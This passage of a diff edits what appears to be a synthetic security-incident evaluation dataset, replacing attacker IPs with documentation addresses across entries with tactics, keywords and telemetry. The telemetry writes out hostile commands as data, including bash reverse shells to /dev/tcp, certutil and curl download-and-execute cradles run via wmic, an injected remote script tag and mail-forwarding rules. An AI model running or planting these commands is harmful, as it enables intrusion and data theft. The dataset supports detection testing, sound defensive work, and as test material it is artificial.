185.220.101.7.",+ "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-EXCHANGE-01; loads on every Outlook startup; beacons to 198.51.100.7.","expected_tactics": ["TA0003","TA0011"@@ -2047,7 +2047,7 @@"outlook","WIN-EXCHANGE-01",- "185.220.101.7"+ "198.51.100.7"],"telemetry": [{@@ -2068,7 +2068,7 @@"EventID": 3,"Computer": "WIN-EXCHANGE-01","Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE",- "DestinationIp": "185.220.101.7",+ "DestinationIp": "198.51.100.7","DestinationPort": 443}]@@ -2077,8 +2077,8 @@"id": "INC-EVAL-046","template_id": "github-pat-leak","template_index": 45,- "title": "GitHub PAT leaked and abused from 185.220.101.7",- "description": "Personal access token belonging to [email protected] used from 185.220.101.7 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.",+ "title": "GitHub PAT leaked and abused from 198.51.100.7",+ "description": "Personal access token belonging to [email protected] used from 198.51.100.7 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.","expected_tactics": ["TA0006","TA0009"@@ -2095,14 +2095,14 @@"token","private repo",- "185.220.101.7"+ "198.51.100.7"],"telemetry": [{"source": "github_audit","action": "git.clone","actor": "[email protected]",- "actor_ip": "185.220.101.7",+ "actor_ip": "198.51.100.7","repo_count": 14,"programmatic_access_type": "personal_access_token","user_agent": "git/2.40.0"@@ -2171,7 +2171,7 @@"template_id": "helpdesk-password-reset-abuse","template_index": 47,"title": "Vendor admin password reset abuse for [email protected]",- "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 185.220.101.7. Token claimed within 90 seconds.",+ "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 198.51.100.7. Token claimed within 90 seconds.","expected_tactics": ["TA0001","TA0006"@@ -2187,7 +2187,7 @@"social engineering","helpdesk",- "185.220.101.7"+ "198.51.100.7"],"telemetry": [{@@ -2202,7 +2202,7 @@"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "185.220.101.7",+ "ipAddress": "198.51.100.7","resultType": 0,"seconds_after_reset": 87}@@ -2861,7 +2861,7 @@"template_id": "certutil-download-cradle","template_index": 7,"title": "Living-off-the-land: certutil download cradle on WIN-PROD-WEB02",- "description": "certutil.exe -urlcache invoked from cmd.exe on WIN-PROD-WEB02. cmd.exe was spawned by outlook.exe. Payload downloaded from 91.134.231.15.",+ "description": "certutil.exe -urlcache invoked from cmd.exe on WIN-PROD-WEB02. cmd.exe was spawned by outlook.exe. Payload downloaded from 192.0.2.15.","expected_tactics": ["TA0002","TA0005"@@ -2877,7 +2877,7 @@"urlcache","outlook.exe","WIN-PROD-WEB02",- "91.134.231.15",+ "192.0.2.15","download cradle"],"telemetry": [@@ -2889,7 +2889,7 @@"Computer": "WIN-PROD-WEB02","Image": "C:\\Windows\\System32\\certutil.exe","ParentImage": "C:\\Windows\\System32\\cmd.exe",- "CommandLine": "certutil -urlcache -split -f http://91.134.231.15/p.exe %TEMP%\\p.exe"+ "CommandLine": "certutil -urlcache -split -f http://192.0.2.15/p.exe %TEMP%\\p.exe"},{"source": "sysmon",@@ -2898,7 +2898,7 @@"EventID": 3,"Computer": "WIN-PROD-WEB02","Image": "C:\\Windows\\System32\\certutil.exe",- "DestinationIp": "91.134.231.15",+ "DestinationIp": "192.0.2.15","DestinationPort": 80,"Protocol": "tcp"}@@ -3143,7 +3143,7 @@"template_id": "cron-backdoor","template_index": 13,"title": "Backdoor cron job installed on LIN-DB-REPLICA",- "description": "/etc/cron.d entry created by [email protected] on LIN-DB-REPLICA. Reverse shell beacon to 45.142.122.111 every 5 minutes.",+ "description": "/etc/cron.d entry created by [email protected] on LIN-DB-REPLICA. Reverse shell beacon to 203.0.113.111 every 5 minutes.","expected_tactics": ["TA0003","TA0011"@@ -3160,7 +3160,7 @@"reverse shell","LIN-DB-REPLICA",- "45.142.122.111"+ "203.0.113.111"],"telemetry": [{@@ -3176,7 +3176,7 @@{"source": "linux_journald","_SYSTEMD_UNIT": "cron.service",- "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/45.142.122.111/4444 0>&1)",+ "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/203.0.113.111/4444 0>&1)","hostname": "LIN-DB-REPLICA"}]@@ -3345,7 +3345,7 @@"template_id": "process-hollowing-svchost","template_index": 17,"title": "Memory-only fileless implant in svchost on LIN-EDGE-VPN02",- "description": "Process hollowing detected on LIN-EDGE-VPN02: svchost.exe replaced with Cobalt Strike beacon to 45.142.122.111. No disk artefacts. Linked to LockBit 3.0.",+ "description": "Process hollowing detected on LIN-EDGE-VPN02: svchost.exe replaced with Cobalt Strike beacon to 203.0.113.111. No disk artefacts. Linked to LockBit 3.0.","expected_tactics": ["TA0002","TA0005"@@ -3362,7 +3362,7 @@"svchost","Cobalt Strike","LIN-EDGE-VPN02",- "45.142.122.111"+ "203.0.113.111"],"telemetry": [{@@ -3383,7 +3383,7 @@"EventID": 3,"Computer": "LIN-EDGE-VPN02","Image": "C:\\Windows\\System32\\svchost.exe",- "DestinationIp": "45.142.122.111",+ "DestinationIp": "203.0.113.111","DestinationPort": 443,"Protocol": "tcp","ja3": "a0e9f5d64349fb13191bc781f81f42e1"@@ -3907,7 +3907,7 @@"template_id": "wmi-lateral-execution","template_index": 29,"title": "WMI lateral execution from WIN-FILE-SHARE to MAC-CFO-LAPTOP",- "description": "wmic.exe /node:MAC-CFO-LAPTOP process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 91.134.231.15.",+ "description": "wmic.exe /node:MAC-CFO-LAPTOP process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 192.0.2.15.","expected_tactics": ["TA0008","TA0002"@@ -3923,7 +3923,7 @@"WIN-FILE-SHARE","MAC-CFO-LAPTOP",- "91.134.231.15"+ "192.0.2.15"],"telemetry": [{@@ -3934,7 +3934,7 @@"Computer": "WIN-FILE-SHARE","User": "[email protected]","Image": "C:\\Windows\\System32\\wbem\\wmic.exe",- "CommandLine": "wmic /node:MAC-CFO-LAPTOP process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""+ "CommandLine": "wmic /node:MAC-CFO-LAPTOP process call create \"cmd /c curl http://192.0.2.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}]},@@ -4023,7 +4023,7 @@"template_id": "dns-tunnel-exfil","template_index": 32,"title": "DNS tunnelling exfiltration from WIN-DC-SECONDARY",- "description": "DNS query volume from WIN-DC-SECONDARY 50\u00d7 baseline. TXT records contain base64-encoded payloads. Estimated exfil ~200 MB; destination 185.220.101.7.",+ "description": "DNS query volume from WIN-DC-SECONDARY 50\u00d7 baseline. TXT records contain base64-encoded payloads. Estimated exfil ~200 MB; destination 198.51.100.7.","expected_tactics": ["TA0011","TA0010"@@ -4040,15 +4040,15 @@"base64","exfiltrat","WIN-DC-SECONDARY",- "185.220.101.7"+ "198.51.100.7"],"telemetry": [{"source": "dns",- "query_name": "aGVsbG8gd29ybGQK.exfil.185.220.101.7.in-addr.arpa",+ "query_name": "aGVsbG8gd29ybGQK.exfil.198.51.100.7.in-addr.arpa","query_type": "TXT","src_host": "WIN-DC-SECONDARY",- "dst_ip": "185.220.101.7",+ "dst_ip": "198.51.100.7","response_size": 512,"qps": 240}@@ -4143,7 +4143,7 @@"template_id": "dga-c2","template_index": 35,"title": "DGA-based C2 traffic from GCP-GKE-NODE-04",- "description": "DGA traffic from GCP-GKE-NODE-04 observed; 200+ NXDomain replies/min, IoCs match Volt Typhoon epoch 5. Beacons to 45.142.122.111.",+ "description": "DGA traffic from GCP-GKE-NODE-04 observed; 200+ NXDomain replies/min, IoCs match Volt Typhoon epoch 5. Beacons to 203.0.113.111.","expected_tactics": ["TA0011"],@@ -4158,7 +4158,7 @@"nxdomain","beacon","GCP-GKE-NODE-04",- "45.142.122.111",+ "203.0.113.111","Volt Typhoon"],"telemetry": [@@ -4177,7 +4177,7 @@"EventID": 3,"Computer": "GCP-GKE-NODE-04","Image": "C:\\Windows\\System32\\svchost.exe",- "DestinationIp": "45.142.122.111",+ "DestinationIp": "203.0.113.111","DestinationPort": 443,"Protocol": "tcp","threat_actor": "Volt Typhoon"@@ -4188,8 +4188,8 @@"id": "INC-EVAL-092","template_id": "https-c2-beacon","template_index": 36,- "title": "HTTPS C2 beacon from LIN-BUILD-CI03 to 91.134.231.15",- "description": "Periodic HTTPS beacon from LIN-BUILD-CI03 to 91.134.231.15 every 60 seconds with low jitter. JA3 fingerprint matches Cobalt Strike.",+ "title": "HTTPS C2 beacon from LIN-BUILD-CI03 to 192.0.2.15",+ "description": "Periodic HTTPS beacon from LIN-BUILD-CI03 to 192.0.2.15 every 60 seconds with low jitter. JA3 fingerprint matches Cobalt Strike.","expected_tactics": ["TA0011"],@@ -4204,7 +4204,7 @@"ja3","Cobalt Strike","LIN-BUILD-CI03",- "91.134.231.15"+ "192.0.2.15"],"telemetry": [{@@ -4213,7 +4213,7 @@"Provider": "Microsoft-Windows-Sysmon","EventID": 3,"Computer": "LIN-BUILD-CI03",- "DestinationIp": "91.134.231.15",+ "DestinationIp": "192.0.2.15","DestinationPort": 443,"Protocol": "tcp","ja3": "a0e9f5d64349fb13191bc781f81f42e1",@@ -4357,7 +4357,7 @@"template_id": "public-s3-bucket-pii","template_index": 40,"title": "Public S3 bucket exposing PII",- "description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 91.134.231.15.",+ "description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 192.0.2.15.","expected_tactics": ["TA0009","TA0010"@@ -4373,7 +4373,7 @@"public bucket","pii","cloudtrail",- "91.134.231.15"+ "192.0.2.15"],"telemetry": [{@@ -4402,7 +4402,7 @@"eventName": "ListObjectsV2","eventSource": "s3.amazonaws.com","awsRegion": "us-east-1",- "sourceIPAddress": "91.134.231.15",+ "sourceIPAddress": "192.0.2.15","requestParameters": {"bucketName": "aisoc-employees","max-keys": 1000@@ -4586,8 +4586,8 @@"id": "INC-EVAL-101","template_id": "github-pat-leak","template_index": 45,- "title": "GitHub PAT leaked and abused from 45.142.122.111",- "description": "Personal access token belonging to [email protected] used from 45.142.122.111 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.",+ "title": "GitHub PAT leaked and abused from 203.0.113.111",+ "description": "Personal access token belonging to [email protected] used from 203.0.113.111 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.","expected_tactics": ["TA0006","TA0009"@@ -4604,14 +4604,14 @@"token","private repo",- "45.142.122.111"+ "203.0.113.111"],"telemetry": [{"source": "github_audit","action": "git.clone","actor": "[email protected]",- "actor_ip": "45.142.122.111",+ "actor_ip": "203.0.113.111","repo_count": 14,"programmatic_access_type": "personal_access_token","user_agent": "git/2.40.0"@@ -4680,7 +4680,7 @@"template_id": "helpdesk-password-reset-abuse","template_index": 47,"title": "Vendor admin password reset abuse for [email protected]",- "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 185.220.101.7. Token claimed within 90 seconds.",+ "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 198.51.100.7. Token claimed within 90 seconds.","expected_tactics": ["TA0001","TA0006"@@ -4696,7 +4696,7 @@"social engineering","helpdesk",- "185.220.101.7"+ "198.51.100.7"],"telemetry": [{@@ -4711,7 +4711,7 @@"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "185.220.101.7",+ "ipAddress": "198.51.100.7","resultType": 0,"seconds_after_reset": 87}@@ -4722,7 +4722,7 @@"template_id": "oauth-refresh-token-theft","template_index": 48,"title": "OAuth refresh-token theft for [email protected]",- "description": "Refresh token for [email protected] replayed from 91.134.231.15. Granted access to mailbox + OneDrive without re-prompt.",+ "description": "Refresh token for [email protected] replayed from 192.0.2.15. Granted access to mailbox + OneDrive without re-prompt.","expected_tactics": ["TA0006"],@@ -4738,14 +4738,14 @@"onedrive","mailbox",- "91.134.231.15"+ "192.0.2.15"],"telemetry": [{"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "91.134.231.15",+ "ipAddress": "192.0.2.15","resultType": 0,"authenticationProtocol": "oAuth2","grantType": "refresh_token",@@ -5124,8 +5124,8 @@"id": "INC-EVAL-113","template_id": "confluence-watering-hole","template_index": 2,- "title": "Watering-hole exploit served from internal Confluence by 185.220.101.7",- "description": "Internal Confluence page injected with malicious JavaScript by 185.220.101.7. Drive-by exploit triggered browser exploitation on multiple visitors including [email protected]. Linked to MagicWeb TTPs.",+ "title": "Watering-hole exploit served from internal Confluence by 198.51.100.7",+ "description": "Internal Confluence page injected with malicious JavaScript by 198.51.100.7. Drive-by exploit triggered browser exploitation on multiple visitors including [email protected]. Linked to MagicWeb TTPs.","expected_tactics": ["TA0001","TA0002"@@ -5140,7 +5140,7 @@"watering hole","drive-by","Confluence",- "185.220.101.7",+ "198.51.100.7","MagicWeb"],@@ -5150,9 +5150,9 @@"http_method": "POST","url": "https://confluence.example.com/pages/editpage.action?pageId=8472","status_code": 200,- "src_ip": "185.220.101.7",+ "src_ip": "198.51.100.7","user_agent": "Mozilla/5.0",- "payload_excerpt": "<script src=//185.220.101.7/x.js></script>"+ "payload_excerpt": "<script src=//198.51.100.7/x.js></script>"},{"source": "edr",@@ -5272,7 +5272,7 @@"template_id": "oauth-consent-phish","template_index": 5,"title": "OAuth consent phishing targeting [email protected]",- "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 91.134.231.15.",+ "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 192.0.2.15.","expected_tactics": ["TA0001","TA0006"@@ -5288,7 +5288,7 @@"Mail.Read","Files.Read.All",- "91.134.231.15",+ "192.0.2.15","forwarding rule"],"telemetry": [@@ -5311,7 +5311,7 @@"UserId": "[email protected]","Parameters": {"Name": "Auto-fwd",- "ForwardTo": "[email protected]",+ "ForwardTo": "[email protected]","DeleteMessage": true}}@@ -5418,7 +5418,7 @@"template_id": "docker-runtime-abuse","template_index": 8,"title": "Container runtime abuse: malicious `docker run` on WIN-FILE-SHARE",- "description": "Unauthenticated Docker API on WIN-FILE-SHARE exploited from 185.220.101.7. Container with cryptominer spawned. CPU on host saturated to 95%.",+ "description": "Unauthenticated Docker API on WIN-FILE-SHARE exploited from 198.51.100.7. Container with cryptominer spawned. CPU on host saturated to 95%.","expected_tactics": ["TA0002","TA0001",@@ -5437,7 +5437,7 @@"cryptominer","miner","WIN-FILE-SHARE",- "185.220.101.7"+ "198.51.100.7"],"telemetry": [{@@ -5445,7 +5445,7 @@"http_method": "POST","url": "http://WIN-FILE-SHARE:2375/containers/create","status_code": 201,- "src_ip": "185.220.101.7",+ "src_ip": "198.51.100.7","request_body": {"Image": "monero/xmrig","HostConfig": {@@ -5652,7 +5652,7 @@"template_id": "cron-backdoor","template_index": 13,"title": "Backdoor cron job installed on MAC-LEGAL-LAPTOP",- "description": "/etc/cron.d entry created by [email protected] on MAC-LEGAL-LAPTOP. Reverse shell beacon to 91.134.231.15 every 5 minutes.",+ "description": "/etc/cron.d entry created by [email protected] on MAC-LEGAL-LAPTOP. Reverse shell beacon to 192.0.2.15 every 5 minutes.","expected_tactics": ["TA0003","TA0011"@@ -5669,7 +5669,7 @@"reverse shell","MAC-LEGAL-LAPTOP",- "91.134.231.15"+ "192.0.2.15"],"telemetry": [{@@ -5685,7 +5685,7 @@{"source": "linux_journald","_SYSTEMD_UNIT": "cron.service",- "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/91.134.231.15/4444 0>&1)",+ "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/192.0.2.15/4444 0>&1)","hostname": "MAC-LEGAL-LAPTOP"}]@@ -5854,7 +5854,7 @@"template_id": "process-hollowing-svchost","template_index": 17,"title": "Memory-only fileless implant in svchost on GCP-GKE-NODE-04",- "description": "Process hollowing detected on GCP-GKE-NODE-04: svchost.exe replaced with Cobalt Strike beacon to 91.134.231.15. No disk artefacts. Linked to ALPHV/BlackCat.",+ "description": "Process hollowing detected on GCP-GKE-NODE-04: svchost.exe replaced with Cobalt Strike beacon to 192.0.2.15. No disk artefacts. Linked to ALPHV/BlackCat.","expected_tactics": ["TA0002","TA0005"@@ -5871,7 +5871,7 @@"svchost","Cobalt Strike","GCP-GKE-NODE-04",- "91.134.231.15"+ "192.0.2.15"],"telemetry": [{@@ -5892,7 +5892,7 @@"EventID": 3,"Computer": "GCP-GKE-NODE-04","Image": "C:\\Windows\\System32\\svchost.exe",- "DestinationIp": "91.134.231.15",+ "DestinationIp": "192.0.2.15","DestinationPort": 443,"Protocol": "tcp","ja3": "a0e9f5d64349fb13191bc781f81f42e1"@@ -6053,8 +6053,8 @@"id": "INC-EVAL-132","template_id": "credential-spray","template_index": 21,- "title": "Brute-force credential spray against [email protected] from 91.134.231.15",- "description": "Credential spray from 91.134.231.15 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.",+ "title": "Brute-force credential spray against [email protected] from 192.0.2.15",+ "description": "Credential spray from 192.0.2.15 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.","expected_tactics": ["TA0006"],@@ -6067,7 +6067,7 @@"brute force","credential spray",- "91.134.231.15",+ "192.0.2.15","azure ad"],"telemetry": [@@ -6075,7 +6075,7 @@"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "91.134.231.15",+ "ipAddress": "192.0.2.15","resultType": 50126,"resultDescription": "Invalid username or password","appDisplayName": "Office 365 Exchange Online",@@ -6085,7 +6085,7 @@"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "91.134.231.15",+ "ipAddress": "192.0.2.15","resultType": 0,"resultDescription": "Success","conditionalAccessStatus": "success",@@ -6185,7 +6185,7 @@"template_id": "saml-golden-ticket","template_index": 24,"title": "SAML golden-ticket: forged assertion targeting [email protected]",- "description": "Forged SAML assertion detected for [email protected]. Attacker pivoted to Azure AD; account enumeration followed from 45.142.122.111.",+ "description": "Forged SAML assertion detected for [email protected]. Attacker pivoted to Azure AD; account enumeration followed from 203.0.113.111.","expected_tactics": ["TA0006","TA0007"@@ -6202,14 +6202,14 @@"forged","azure ad",- "45.142.122.111"+ "203.0.113.111"],"telemetry": [{"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "45.142.122.111",+ "ipAddress": "203.0.113.111","resultType": 0,"authenticationDetails": [{@@ -6416,7 +6416,7 @@"template_id": "wmi-lateral-execution","template_index": 29,"title": "WMI lateral execution from MAC-CFO-LAPTOP to MAC-LEGAL-LAPTOP",- "description": "wmic.exe /node:MAC-LEGAL-LAPTOP process call create observed from MAC-CFO-LAPTOP by [email protected]. Remote command execution; payload from 91.134.231.15.",+ "description": "wmic.exe /node:MAC-LEGAL-LAPTOP process call create observed from MAC-CFO-LAPTOP by [email protected]. Remote command execution; payload from 192.0.2.15.","expected_tactics": ["TA0008","TA0002"@@ -6432,7 +6432,7 @@"MAC-CFO-LAPTOP","MAC-LEGAL-LAPTOP",- "91.134.231.15"+ "192.0.2.15"],"telemetry": [{@@ -6443,7 +6443,7 @@"Computer": "MAC-CFO-LAPTOP","User": "[email protected]","Image": "C:\\Windows\\System32\\wbem\\wmic.exe",- "CommandLine": "wmic /node:MAC-LEGAL-LAPTOP process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""+ "CommandLine": "wmic /node:MAC-LEGAL-LAPTOP process call create \"cmd /c curl http://192.0.2.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}]},@@ -6568,7 +6568,7 @@"template_id": "s3-exfil-cloud-storage","template_index": 33,"title": "Cloud storage exfil: data egress to attacker-controlled S3 from WIN-PROD-WEB02",- "description": "Egress from WIN-PROD-WEB02 to s3://atk-stage-185.220.101.7/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",+ "description": "Egress from WIN-PROD-WEB02 to s3://atk-stage-198.51.100.7/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.","expected_tactics": ["TA0010"],@@ -6583,7 +6583,7 @@"egress","exfiltrat","WIN-PROD-WEB02",- "185.220.101.7",+ "198.51.100.7",],"telemetry": [@@ -6598,12 +6598,12 @@},"sourceIPAddress": "WIN-PROD-WEB02","requestParameters": {- "bucketName": "atk-stage-185.220.101.7",+ "bucketName": "atk-stage-198.51.100.7","key": "dump/customers.tar.gz"},"resources": [{- "ARN": "arn:aws:s3:::atk-stage-185.220.101.7/dump/customers.tar.gz"+ "ARN": "arn:aws:s3:::atk-stage-198.51.100.7/dump/customers.tar.gz"}]}@@ -6652,7 +6652,7 @@"template_id": "dga-c2","template_index": 35,"title": "DGA-based C2 traffic from GCP-GKE-NODE-04",- "description": "DGA traffic from GCP-GKE-NODE-04 observed; 200+ NXDomain replies/min, IoCs match Scattered Spider epoch 5. Beacons to 45.142.122.111.",+ "description": "DGA traffic from GCP-GKE-NODE-04 observed; 200+ NXDomain replies/min, IoCs match Scattered Spider epoch 5. Beacons to 203.0.113.111.","expected_tactics": ["TA0011"],@@ -6667,7 +6667,7 @@"nxdomain","beacon","GCP-GKE-NODE-04",- "45.142.122.111",+ "203.0.113.111","Scattered Spider"],"telemetry": [@@ -6686,7 +6686,7 @@"EventID": 3,"Computer": "GCP-GKE-NODE-04","Image": "C:\\Windows\\System32\\svchost.exe",- "DestinationIp": "45.142.122.111",+ "DestinationIp": "203.0.113.111","DestinationPort": 443,"Protocol": "tcp","threat_actor": "Scattered Spider"@@ -6866,7 +6866,7 @@"template_id": "public-s3-bucket-pii","template_index": 40,"title": "Public S3 bucket exposing PII",- "description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 91.134.231.15.",+ "description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 192.0.2.15.","expected_tactics": ["TA0009","TA0010"@@ -6882,7 +6882,7 @@"public bucket","pii","cloudtrail",- "91.134.231.15"+ "192.0.2.15"],"telemetry": [{@@ -6911,7 +6911,7 @@"eventName": "ListObjectsV2","eventSource": "s3.amazonaws.com","awsRegion": "us-east-1",- "sourceIPAddress": "91.134.231.15",+ "sourceIPAddress": "192.0.2.15","requestParameters": {"bucketName": "aisoc-employees","max-keys": 1000@@ -6927,7 +6927,7 @@"template_id": "azure-ad-impossible-travel","template_index": 41,"title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",- "description": "Successful Azure AD sign-in for [email protected] from 91.134.231.15 (impossible-travel from prior location). MFA satisfied via stolen session token.",+ "description": "Successful Azure AD sign-in for [email protected] from 192.0.2.15 (impossible-travel from prior location). MFA satisfied via stolen session token.","expected_tactics": ["TA0001","TA0006"@@ -6944,14 +6944,14 @@"session token","mfa",- "91.134.231.15"+ "192.0.2.15"],"telemetry": [{"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "91.134.231.15",+ "ipAddress": "192.0.2.15","location": {"city": "Vladivostok","countryOrRegion": "RU"@@ -7048,7 +7048,7 @@"template_id": "office-vsto-addin","template_index": 44,"title": "Malicious Office add-in installed for [email protected]",- "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-DC-SECONDARY; loads on every Outlook startup; beacons to 45.142.122.111.",+ "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-DC-SECONDARY; loads on every Outlook startup; beacons to 203.0.113.111.","expected_tactics": ["TA0003","TA0011"@@ -7065,7 +7065,7 @@"outlook","WIN-DC-SECONDARY",- "45.142.122.111"+ "203.0.113.111"],"telemetry": [{@@ -7086,7 +7086,7 @@"EventID": 3,"Computer": "WIN-DC-SECONDARY","Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE",- "DestinationIp": "45.142.122.111",+ "DestinationIp": "203.0.113.111","DestinationPort": 443}]@@ -7095,8 +7095,8 @@"id": "INC-EVAL-156","template_id": "github-pat-leak","template_index": 45,- "title": "GitHub PAT leaked and abused from 45.142.122.111",- "description": "Personal access token belonging to [email protected] used from 45.142.122.111 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.",+ "title": "GitHub PAT leaked and abused from 203.0.113.111",+ "description": "Personal access token belonging to [email protected] used from 203.0.113.111 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.","expected_tactics": ["TA0006","TA0009"@@ -7113,14 +7113,14 @@"token","private repo",- "45.142.122.111"+ "203.0.113.111"],"telemetry": [{"source": "github_audit","action": "git.clone","actor": "[email protected]",- "actor_ip": "45.142.122.111",+ "actor_ip": "203.0.113.111","repo_count": 14,"programmatic_access_type": "personal_access_token","user_agent": "git/2.40.0"@@ -7141,7 +7141,7 @@"template_id": "ec2-imds-credential-theft","template_index": 46,"title": "EC2 instance metadata service abused on WIN-PROD-WEB02",- "description": "IMDSv1 abused on WIN-PROD-WEB02; temporary IAM credentials for role exfilled to 91.134.231.15. CloudTrail shows AssumeRole from external.",+ "description": "IMDSv1 abused on WIN-PROD-WEB02; temporary IAM credentials for role exfilled to 192.0.2.15. CloudTrail shows AssumeRole from external.","expected_tactics": ["TA0006","TA0004"@@ -7158,7 +7158,7 @@"iam credentials","AssumeRole","WIN-PROD-WEB02",- "91.134.231.15"+ "192.0.2.15"],"telemetry": [{@@ -7174,7 +7174,7 @@"eventName": "AssumeRole","eventSource": "sts.amazonaws.com","awsRegion": "us-east-1",- "sourceIPAddress": "91.134.231.15",+ "sourceIPAddress": "192.0.2.15","userIdentity": {"type": "AssumedRole","principalId": "AIDA:role-app",@@ -7189,7 +7189,7 @@"template_id": "helpdesk-password-reset-abuse","template_index": 47,"title": "Vendor admin password reset abuse for [email protected]",- "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 91.134.231.15. Token claimed within 90 seconds.",+ "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 192.0.2.15. Token claimed within 90 seconds.","expected_tactics": ["TA0001","TA0006"@@ -7205,7 +7205,7 @@"social engineering","helpdesk",- "91.134.231.15"+ "192.0.2.15"],"telemetry": [{@@ -7220,7 +7220,7 @@"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "91.134.231.15",+ "ipAddress": "192.0.2.15","resultType": 0,"seconds_after_reset": 87}@@ -7323,7 +7323,7 @@"template_id": "outlook-auto-forward-rule","template_index": 50,"title": "Outlook rule auto-forwarding mail from [email protected]",- "description": "Outlook inbox rule created for [email protected] that forwards all mail to external address at 185.220.101.7. Linked to LockBit 3.0.",+ "description": "Outlook inbox rule created for [email protected] that forwards all mail to external address at 198.51.100.7. Linked to LockBit 3.0.","expected_tactics": ["TA0006","TA0009"@@ -7339,7 +7339,7 @@"forward","mail",- "185.220.101.7",+ "198.51.100.7","LockBit 3.0"],"telemetry": [@@ -7350,7 +7350,7 @@"UserId": "[email protected]","Parameters": {"Name": "Sync",- "ForwardTo": "[email protected]",+ "ForwardTo": "[email protected]","DeleteMessage": true,"MarkAsRead": true},@@ -7678,7 +7678,7 @@"template_id": "npm-supply-chain","template_index": 3,"title": "Supply-chain compromise: malicious npm package on WIN-PROD-WEB02",- "description": "CI pipeline on WIN-PROD-WEB02 installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 91.134.231.15. Build artefacts may be tainted.",+ "description": "CI pipeline on WIN-PROD-WEB02 installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 192.0.2.15. Build artefacts may be tainted.","expected_tactics": ["TA0001","TA0002"@@ -7695,7 +7695,7 @@"event-stream","post-install","WIN-PROD-WEB02",- "91.134.231.15"+ "192.0.2.15"],"telemetry": [{@@ -7723,7 +7723,7 @@"severity": "high","Computer": "WIN-PROD-WEB02","User": "ci-runner",- "dest_ip": "91.134.231.15",+ "dest_ip": "192.0.2.15","dest_port": 4444}]@@ -7781,7 +7781,7 @@"template_id": "oauth-consent-phish","template_index": 5,"title": "OAuth consent phishing targeting [email protected]",- "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 45.142.122.111.",+ "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 203.0.113.111.","expected_tactics": ["TA0001","TA0006"@@ -7797,7 +7797,7 @@"Mail.Read","Files.Read.All",- "45.142.122.111",+ "203.0.113.111","forwarding rule"],"telemetry": [@@ -7820,7 +7820,7 @@"UserId": "[email protected]","Parameters": {"Name": "Auto-fwd",- "ForwardTo": "[email protected]",+ "ForwardTo": "[email protected]","DeleteMessage": true}}@@ -8925,7 +8925,7 @@"template_id": "wmi-lateral-execution","template_index": 29,"title": "WMI lateral execution from WIN-FILE-SHARE to LIN-DB-REPLICA",- "description": "wmic.exe /node:LIN-DB-REPLICA process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 91.134.231.15.",+ "description": "wmic.exe /node:LIN-DB-REPLICA process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 192.0.2.15.","expected_tactics": ["TA0008","TA0002"@@ -8941,7 +8941,7 @@"WIN-FILE-SHARE","LIN-DB-REPLICA",- "91.134.231.15"+ "192.0.2.15"],"telemetry": [{@@ -8952,7 +8952,7 @@"Computer": "WIN-FILE-SHARE","User": "[email protected]","Image": "C:\\Windows\\System32\\wbem\\wmic.exe",- "CommandLine": "wmic /node:LIN-DB-REPLICA process call create \"cmd /c 